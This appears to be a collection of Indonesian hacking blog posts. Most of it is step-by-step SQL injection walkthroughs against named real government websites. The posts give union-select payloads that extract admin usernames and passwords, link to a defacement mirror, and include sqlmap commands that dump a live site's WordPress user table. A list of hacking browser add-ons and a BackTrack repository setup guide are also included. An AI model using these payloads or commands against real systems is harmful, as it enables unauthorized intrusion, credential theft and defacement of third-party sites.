SQLi On Komisi Kepolisian

Tindakan saya bukan untuk merusak, tapi semata-mata hanya untuk media pembelajaran. Why ? 
Tujuannya agar kemanan website negara kita lebih di tingkatkan lagi . 
Sekali lagi saya minta maaf kalau ada kesalahan disini. Lets we start dude :

#[0x3a]. Chek the vull sql injection

http://www.komisikepolisianindonesia.com/secondPg.php?cat=video&view=34'

secondPg.php?cat=video&view=34 order 1-- false
secondPg.php?cat=video&view=34 order 2-- false
secondPg.php?cat=video&view=34 order 3-- false
secondPg.php?cat=video&view=34 order 4-- false
secondPg.php?cat=video&view=34 order 5-- false
secondPg.php?cat=video&view=34 order 6-- false
secondPg.php?cat=video&view=34 order 7-- false
secondPg.php?cat=video&view=34 order 8-- false
secondPg.php?cat=video&view=34 order 9-- false
secondPg.php?cat=video&view=34 order 10-- true

---> We've got the point to inject !

#[0x3b]. Chek the version database:

secondPg.php?cat=video&view=-134+union+all+select+1,2,3,4,5,6,7,8,9--

we've got a lucky number "2"

secondPg.php?cat=video&view=-134+union+all+select+1,version(),3,4,5,6,7,8,9--

- If version 5.0 = you lucky :D
- If version 4.0 = you dead :( [that's blind] hahaha ...

#[0x3c]. Tabel & column

secondPg.php?cat=video&view=-134+union+all+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables +where+table_schema=database()--

secondPg.php?cat=video&view=-134+union+all+select+1,group_concat(column_name),3,4,5,6,7,8,9+from+information_schema.columns +where+table_schema=database()--

Just switch

(table_name) --> (column_name)
from+information_schema.tables ---> from+information_schema.columns

Finally :

http://www.komisikepolisianindonesia.com/secondPg.php?cat=video&view=-134+union+all+select+1,group_concat(admin_id,0x3a,admin_password),3,4,5,6,7,8,9+from+inweb_admin--
---------------------------------------------------------------

Mirror Deface :

http://indonesiandefacer.org/mirror/2011/10/komisikepolisianindonesia.html

Read More

Add Ons For Hacking

Pasti semua udah tau ama add ons, yups aplikasi .xpi untuk menemani browser kita. atau kata lain aplikasi untuk browser, bukan untuk desktop . nah berikut ini adalah add ons yang banyak di gunakan untuk membantu dalam proses hacking.

1. Adblock Plus

Adblock Plus allows you to regain control of the internet and view the web the way you want to.

2. Greasymonkey

Allows you to customize the way a web page displays or behaves, by using small bits of JavaScript.

3. NoScript

It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site, guarding your "trust boundaries" against cross-site scripting attacks (XSS), cross-zone DNS rebinding / CSRF attacks (router hacking), and Clickjacking attempts,

4. Firebug

You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.

5. Tamper Data

Use tamperdata to view and modify HTTP/HTTPS headers and post parameters.

6. Live HTTP Headers

Sama seperti Tamper data

7. Hackbar

This toolbar will help you in testing sql injections, XSS holes and site security.

8. Server Spy

Server Spy indicates what brand of HTTP server (e.g. Apache, IIS, etc.) runs on the visited sites. When a tab is selected, the corresponding server name is shown on the right-hand side of the browser's status bar.

9. Sql Inject Me

SQL Inject Me is the Exploit-Me tool used to test for SQL Injection vulnerabilities.

10. XSS Me

XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS).

11. ShowIP

Show the IP address(es) of the current page in the status bar. It also allows querying custom information services by IP (right click) and hostname (left click), like whois, netcraft, etc.

12. Exploit Database

This plugin lets you search on Offensive Security Exploit database.It has been tested using Mozilla Firefox 3.5.5 (on Linux and Windows)

13. Packet Storm

This plugin lets you search on Packet Storm - www.packetstormsecurity.org - database. Packet Storm offers an abundant resource of up-to-date and historical security tools, exploits, and advisories.

Read More

Backtrack 5 in Ubuntu 10

Hello .. :D

Mungkin banyak dari kita yang sudah tau soal distro Backtrack , jadi gak perlu saya terangkan lagi. nah untuk saat ini saya akan sedikit ngasih tips untuk menambahkan Repository Backtrack 5 di Ubuntu 10. kebetulan saya make ubuntu 10.

Berikut cara menambahkan Repository BT 5 in Ubuntu 10 :

1. Downloads key backtrack di sini :
 

code :

wget -q http://all.repository.backtrack-linux.org/backtrack.gpg -O- | sudo apt-key add -

2. Edit source list repository ubuntu

code :

sudo gedit /etc/apt/sources.list

code :

deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

atau bisa dari "Synaptic Package Manager"



And then run :

# sudo apt-get update

Anda cukup ke System -->> Administrator -->> Synaptic Package Manager Trus Install atau lewat ubuntu software.



Selesai deh, cukup gitu doang kok gak repot,
dan saya udah buktiin :D

Read More

SQLi on Deptan.go.id

Sebenarnya ini udah merupakan bug lama yang sampe sekarang belum di patch ! Cuma untung servernya "safe mode : off" , but remember.. nothing secure :D Tapi banyak cara menuju roma, watch yours system !

Vull : http://www.deptan.go.id/tampil.php?page=kelembagaan&id=31
1=1 true ..
1=0 false ..

Code :

tampil.php?page=kelembagaan&id=31 order by 10-- false
tampil.php?page=kelembagaan&id=31 order by 9 -- true

Code:

tampil.php?page=kelembagaan&id=31 and 1=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9--
tampil.php?page=kelembagaan&id=-31and 1=1 union all select1,2,3,4,5,6,7,8,9-- Hasilnya = 4

versinya :
tampil.php?page=kelembagaan&id=-31 and 1=1 union all select1,2,3,version(),5,6,7,8,9-- 

hasilnya : 5.0.45-standard-log

usernya :
tampil.php?page=kelembagaan&id=-31 and 1=1 union all select1,2,3,@@datadir,5,6,7,8,9-- hasilnya = /opt/coolstack/mysql_32bit/data/ /

Some Info :
- version() = versinya
- database() = databsenya
- user() = usernya
- @@datadir = data direktorinya

Code:

tampil.php?page=kelembagaan&id=-31 and 1=1 union all select 1,2,3,CHAR(97, 108, 100, 106, 97, 122, 97, 114, 97),5,6,7,8,9--

tablenya :

# tampil.php?page=kelembagaan&id=-31 and 1=1 union all select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()—


--------------------------------------------------------------

You can continue yourself, because some reason :)

Read More

Sqlmap Tool For Beginners

Sql Injection merupakan tekhnik dari sekian tekhnik yang sering di lakukan oleh hacker dalam melakukan penetrasi. Hal ini dikarenakan bug sql injection sering kita jumpai pada banyak website di internet.

Nah, kali ini saya coba sharing cara hacking dengan tekhnik sql injection. Akan tetapi dengan bantuan tool SqlMap. Terimakasih tentunya untuk pengembangnya yakni Bernardo Damele AG & Miroslav Stampar yang telah mempermudah kita untuk melakukan penetrasi.

Aplikasi mendukung beberapa database : MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Enam tekhnik sql-injection : boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band. Dan fitur - fitur lain sebagainya..

Nah bagi anda pengguna windows xp, vista, 7 dan 8,  anda pun dapat menggunakannya.
Yakni dengan install  python di komputer anda. Silahkan download kedua paket ini :

Phyton :   http://www.python.org/download/
Sqlmap :     http://sqlmap.sourceforge.net/

Cukup download Sqlmap dan letakkan di direktori PC kita. Disini saya misalkan sqlmap di direktori C:

1. Sqlmap Live Target

Tentunya saya akan coba penetrasi pada website target, moga-moga paham :)

Web target : http://www.psf.gov.pk/staffdetail.php?id=10

code :     
C:\Hack\sql\sqlmap>sqlmap.py -u www.psf.gov.pk/staffdetail.php?id=10 --dbs

available databases [2]:
[*] information_schema
[*] psfdb

code :      
C:\Hack\sql\sqlmap>sqlmap.py -u www.psf.gov.pk/staffdetail.php?id=10 --tables psfd

 +-----------------------------------+
| user                                    |
| users_site                           |
| wp_commentmeta               |
| wp_comments                     |
| wp_links                             |
| wp_options                         |
| wp_options2                       |
| wp_postmeta                      |
| wp_posts                            |
| wp_term_relationships        |
| wp_term_taxonomy             |
| wp_terms                            |
| wp_usermeta                       |
| wp_users                             |
+-----------------------------------+

 
code :
C:\Hack\sql\sqlmap>sqlmap.py -u www.psf.gov.pk/staffdetail.php?id=10 --columns -D psfdb -T wp_users 

 

+---------------------------+-------------------------+
| Column                    | Type                       |
+---------------------------+-------------------------+
| display_name           | varchar(250)            |
| ID                            | bigint(20) unsigned  |
| user_activation_key | varchar(60)              |
| user_email               | varchar(100)            |
| user_login                | varchar(60)             |
| user_nicename         | varchar(50)             |
| user_pass                 | varchar(64)             |
| user_registered        | datetime                 |
| user_status               | int(11)                    |
| user_url                    | varchar(100)           |
+---------------------------+------------------------+

code :
C:\Hack\sql\sqlmap>sqlmap.py -u www.psf.gov.pk/staffdetail.php?id=10 --dump -D psfdb -T wp_users

code:
C:\Hack\sql\sqlmap>sqlmap.py -u www.psf.gov.pk/staffdetail.php?id=10 -D psfdb -T wp_users -C user_login,user_pass,user_email --dump 

Than tou will see the dump database in C:\Hack\sql\sqlmap\output


2. Some Powerfull Command Sqlmap


sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users

sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users (HTTP Data)

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass"

sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
-D testdb -T users -C name (Enumerate database table columns)


Jika ingin lebih mengetauhi perintah - perintah di sqlmap.

Kita bisa mendapatkan pencerahan di sini

Goodluck !

Read More